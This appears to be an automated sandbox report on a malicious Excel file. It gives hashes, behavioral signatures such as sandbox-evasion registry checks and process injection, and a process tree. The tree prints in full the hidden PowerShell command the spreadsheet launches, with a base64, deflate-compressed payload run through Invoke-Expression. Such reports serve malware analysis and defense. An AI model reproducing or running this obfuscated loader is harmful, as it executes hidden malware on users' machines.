Analysis
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max time kernel
46s -
max time network
39s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
07/11/2024, 21:33
Behavioral task
behavioral1
Sample
455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls
Resource
win7-20240903-en
General
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Target
455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls
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Size
43KB
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MD5
2ac001ad8a359d4b60a75d45159f0fd3
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SHA1
861846974d8b7e2e5d263e31c4cbc11dc3b0ff66
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SHA256
455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824
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SHA512
5ab995228398a19b7a4dc937d1bd8632497cc0302d21f5b53b712c6b3f7805bbb4295511c8076c7483602de64885cfde7846dd7c32cce3182a03f43d9aa3b0df
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SSDEEP
768:yzmB+k3hOdsylKlgryzc4bNhZFGzE+cL2knAJgRX42AAbXwrlIRbxCca8yfMy:yk3hOdsylKlgryzc4bNhZFGzE+cL2kno
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2428 1892 powershell.exe 82 -
Blocklisted process makes network request 3 IoCs
flow pid Process 25 2428 powershell.exe 27 2428 powershell.exe 36 2428 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2428 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1892 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2428 powershell.exe 2428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2428 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1892 wrote to memory of 2428 1892 EXCEL.EXE 89 PID 1892 wrote to memory of 2428 1892 EXCEL.EXE 89 PID 1892 wrote to memory of 2428 1892 EXCEL.EXE 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2428
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD54491d24d4900f03ef4ec8bd1006c98e6
SHA1bc04962ed8555a3faf9894ea0cd9b8d91deb43ab
SHA256d7d615933115e8dfceb5e997bbbb839ab1930db2b11776e98c9207dadda28331
SHA512a3eb141cdbdd9067c59abf1092052a0ee3e29e03e810a643db85bb7326c841add542143f2123faf90d63a004b9722c90d408e07a991a5fd6ce9b47e6b24056a1